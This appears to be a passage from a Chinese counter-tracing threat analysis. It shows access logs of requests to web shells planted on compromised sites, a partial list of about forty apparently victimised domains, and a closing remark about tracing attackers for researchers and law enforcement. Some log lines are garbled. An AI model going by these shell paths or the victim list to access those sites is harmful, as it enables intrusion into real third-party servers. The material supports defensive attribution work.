174.85.145.99 (美国) - - [27/Nov/2018:23:35:31 +0300] "POST /shells/bacu.php HTTP/1.1" 200 4731 "http://www.rosturplast.com/shells/bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
50.73.252.169 (美国) - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
213.233.104.120 (罗马尼亚) - - [27/Nov/2018:22:10:03 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0"
207.228.149.69 (百慕大 ) - - [28/Nov/2018:23:12:54 +0300] "POST /shells/config.php HTTP/1.1" 200 3729 "http://www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
195.211.23.207 (俄罗斯) - - [27/Nov/2018:22:36:50 +0300] "GET /shells/config.php HTTP/1.1" 200 124 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
29.205.113.8 (尼日利亚) - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
212.1.211.3 (美国) - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
178.128.221.199 (希腊)- - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
197.211.61.82 (尼日利亚) - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" 1"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
不完全统计
rosturplast.com
mirohaviar.sk
helioncomposites.com
radiolanalhue.cl
zebramedia.al
www.qtfontebispo.com
www.seoeaze.com
vilapoucadeaguiar.com
proyectosphr.cl
u-p.com
www.humanaconsultores.cl
amsogroup.com
www.tdftechnologies.com
www.bvvagos.pt
www.huellasdigitales.cl
lince.apsl.edu.pl
www.fica.unsl.edu.ar
proyectosphr.cl
www.zlobek.uw.edu.pl
ifr.pt
mail.ijrer.org
www.hkmms.org.hk
historia.apsl.edu.pl
www.homeguide.com.sg
onlinecombos.co.in
umo.apsl.edu.pl
www.bpmp2t.lombokbaratkab.go.id
amsogroup.com
viper.cl
www.teniscavancha.cl
www.estacaomedica.pt
terrarestobar.cl
jf-bragado.pt
helioncomposites.com
notariabasualto.cl
ericdiblasi.com
reinamarltda.cl
cobraz.pt
www.stmarypellaia.com
webcam.wm-itservice.at
通过对以上信息的综合分析,我们可以识别攻击者的行为动机、攻击手法、代理IP,黑客组织成员ID、受害者邮件列表等。还可以清晰地还原出攻击者的详细攻击路径。从红队反制的角度为安全研究人员和执法机构提供一种非常规的溯源思路。